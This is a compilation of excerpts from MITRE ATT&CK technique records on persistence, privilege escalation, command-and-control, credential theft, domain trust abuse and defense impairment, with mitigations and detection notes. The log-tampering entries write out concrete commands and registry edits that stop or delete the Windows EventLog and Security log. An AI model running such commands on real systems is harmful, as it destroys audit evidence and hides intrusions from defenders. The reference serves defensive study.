A PowerShell profile (`profile.ps1`) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.\n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.\n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.

Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the Launch Daemon configuration file at`/System/Library/LaunchDaemons/com.apple.emond.plist`.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.\n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.\n\nUsing legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a Launch Daemon) with the elevated permissions.\n\nDepending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.\n\nFor Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content’s process in the background to bypass these controls.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate.

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.\nDNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\nAdversaries may also use DNS over TLS (DoT) or HTTPS (DoH) for resolving C2 servers. This encrypts the DNS requests and allows the malware to lookup C2 servers without being detected by security systems (e.g., DNS filtering based on indicators of compromise).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus.

Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and broker.\n\nProtocols such as MQTT are widely used in Internet-of-Things (IoT) and operational technology environments where devices are resource constrained and there is limited or unreliable network bandwidth. The protocol follows a publish/subscribe design, with message distribution managed by a centralized broker. Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics. An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also blending in with normal, expected traffic.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus. These protocols may be used to disguise adversary actions as benign network traffic.\n\n**Mitigations.** - **Filter Network Traffic**: Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic. Perform inline allow/denylisting of network messages based on the application layer (OSI Layer 7) protocol, especially for automation protocols. Application allowlists are beneficial when there are well-defined communication sequences, types, rates, or patterns needed during expected system operations.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety. […]\n\n## Reference: ATT&CK T0871 Execution through API\n**ATT&CK T0871 Execution through API (full record).** Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software.\n\n**Classification.** - Tactics: execution\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Execution Prevention**: Block execution of code on a system through application control, and/or script blocking.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector, while IEEE 1686 defines standard permissions for users of IEDs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments. Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Access Management**: Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provide sufficient capabilities to support user identification and authentication. These technologies typically utilize an in-line network device or gateway system to prevent access to unauthenticated users, while also integrating with an authentication service to first verify user credentials.\n\n**Detection strategies and analytics.** - **Detection of Execution through API**\n - Real-time monitoring identifies an unrecognized process on an ICS Linux host loading an ICS/vendor shared library that is normally restricted to approved control or engineering applications. OT operational-fidelity gate: Alert only when execution violates an approved signer/hash/path/parent/process or tool allowlist, or originates from an unauthorized user/tool, and is tied to an OT asset or follow-on OT-relevant action.

Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: IaaS, Office Suite, SaaS\n\n**Mitigations.** - **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization.

Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.\n\nThere are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser.\n\nThere are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.\n\nAfter an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Office Suite, SaaS, Windows\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations.

Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope. Applications can retain sensor access by running in the foreground, using Android’s `startForeground` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.\n\nMalicious applications may abuse the `startForeground` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.\n\nMalicious applications may also abuse the `startForeground` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.\n\n**Classification.** - Tactics: defense-evasion, persistence\n- Platforms: Android\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Foreground Persistence**\n - For Android, detect Foreground Persistence by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct SID-History Injection, Pass the Ticket, and Kerberoasting. Domain trusts can be enumerated using the `DSEnumerateDomainTrusts` Win32 API call,.NET methods, and LDAP.

Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include:\n\n* modifying GPOs to push a malicious Scheduled Task to computers throughout the domain environment\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources\n* changing configuration settings within the AD environment to implement a Rogue Domain Controller.\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.\n\n**Classification.** - Tactics: defense-impairment, privilege-escalation\n- Platforms: Windows, Identity Provider\n\n**Sub-techniques.** - T1484.002 Trust Modification: Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/o.\n- T1484.001 Group Policy Modification: Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. […]\n\n## Reference: ATT&CK T1484.001 Group Policy Modification\n**ATT&CK T1484.001 Group Policy Modification (full record).** Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.\n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as Scheduled Task/Job, Disable or Modify Tools, Ingress Tool Transfer, Create Account, Service Execution, and more. Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.\n\nFor example, publicly available scripts such as `New-GPOImmediateTask` can be leveraged to automate the creation of a malicious Scheduled Task/Job by modifying GPO settings, in this case modifying `\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml`. In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in `\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf`, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.\n\n**Classification.** - Tactics: defense-impairment, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1484 Domain or Tenant Policy Modification - Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. […]\n\n## Reference: ATT&CK T1484.002 Trust Modification\n**ATT&CK T1484.002 Trust Modification (full record).** Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources. These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge SAML Tokens without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.\n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant. This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.\n\n**Classification.** - Tactics: defense-impairment, privilege-escalation\n- Platforms: Identity Provider, Windows\n- Sub-technique of: T1484 Domain or Tenant Policy Modification - Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives. Common operating system file deletion commands such as `del` and `rm` often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. In some cases politically oriented image files have been used to overwrite data.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares..\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers. Similarly, they may delete virtual machines from on-prem virtualized environments.\n\n**Classification.** - Tactics: impact\n- Platforms: Containers, ESXi, IaaS, Linux, macOS, Windows\n\n**Sub-techniques.** - T1485.001 Lifecycle-Triggered Deletion: Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **Data Backup**: Data Backup involves taking and securely storing backups of data from end-user systems and critical servers. It ensures that data remains available in the event of system compromise, ransomware attacks, or other disruptions.

In addition to actual email content, email headers (such as the FROM header, which contains the email address of the sender) may also be modified. Email clients display these headers when emails appear in a victim's inbox, which may cause modified emails to appear as if they were from the spoofed entity.\n\nEnterprise environments can use Domain-based Message Authentication, Reporting, and Conformance (DMARC) as an email authentication protocol that references results of the Sender Policy Framework (SPF) and DomainKeys Identified Mail (DKIM) configurations. SPF and DKIM are configured separately in DNS: SPF verifies that the sending server is authorized for the domain, while DKIM uses a digital signature to verify email integrity and domain authentication. Together, they validate email authenticity and specify how receiving servers should handle authentication failures. Without enforced identity authentication, adversaries may compromise the integrity of an authentication check with altered headers that would not have otherwise passed.\n\nAn example of a weak or absent DMARC policy is `v=DMARC1; p=none; fo=1;`. The `p=none`. The `p=none` indicates no action should be taken, and therefore no filtering action will take place, even if an email fails authentication checks (i.e., SPF and/or DKIM fail). When a DMARC policy indicates no action, the email will still be delivered to the victim’s inbox.\n\nAdversaries have abused weak or absent DMARC policies to circumvent authentication checks and conceal social engineering attempts. Adversaries can alter email headers to include legitimate domain names with fake usernames or impersonate legitimate users via Impersonation for Phishing. Additionally, adversaries may abuse Microsoft 365’s Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.

This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments.\n\nIn addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion).\n\nMore advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization’s ability to detect and respond to malicious activity.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows\n\n**Sub-techniques.** - T1685.002 Disable or Modify Cloud Log: An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.\n- T1685.007 Impair Autonomous Defenses: Adversaries may use methods like Indirect Prompt Injection to disrupt, disable, or otherwise impair autonomous defensive capabilities such as LLM-assisted processing of malware, artifacts, or activity.\n- T1685.001 Disable or Modify Windows Event Log: Adversaries may disable or modify the Windows Event Log to limit data that can be leveraged for detections and audits.

Windows Event Log records user and system activity such as login attempts and process creation. This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to `Security Settings\\Local Policies\\Audit Policy` for basic audit policy settings or `Security Settings\\Advanced Audit Policy Configuration` for advanced audit policy settings. `auditpol.exe` may also be used to set audit policies.\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the `Set-Service -Name EventLog -Status Stopped` or `sc config eventlog start=disabled` commands (followed by manually stopping the service using `Stop-Service -Name EventLog`). Additionally, the service may be disabled by modifying the \"Start\" value in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog` then restarting the system for the change to take effect.\n\nThere are several ways to disable the EventLog service via registry key modification. Without Administrator privileges, adversaries may modify the \"Start\" value in the key `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security`, then reboot the system to disable the Security EventLog. With Administrator privilege, adversaries may modify the same values in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System` and `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application` to disable the entire EventLog.

Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity. They may alternatively tamper with logging functionality, for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files. In Office 365, an adversary may disable logging on mail collection activities for specific users by using the Set-MailboxAuditBypassAssociation cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS, SaaS, Identity Provider, Office Suite\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Linux\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

For example, adversaries may use the PowerShell command `Remove-EventLog -LogName Security` to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the.evtx file between the time the command is run and the reboot.\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **Remote Data Storage**: Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries.

COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. […]\n\n## Reference: ATT&CK T1559.002 Dynamic Data Exchange\n**ATT&CK T1559.002 Dynamic Data Exchange (full record).** Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. […]\n\n## Reference: ATT&CK T1559.003 XPC Services\n**ATT&CK T1559.003 XPC Services (full record).** Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service `C API` or the high level `NSXPCConnection API` in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler. This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.\n\n**Classification.** - Tactics: execution\n- Platforms: macOS\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** 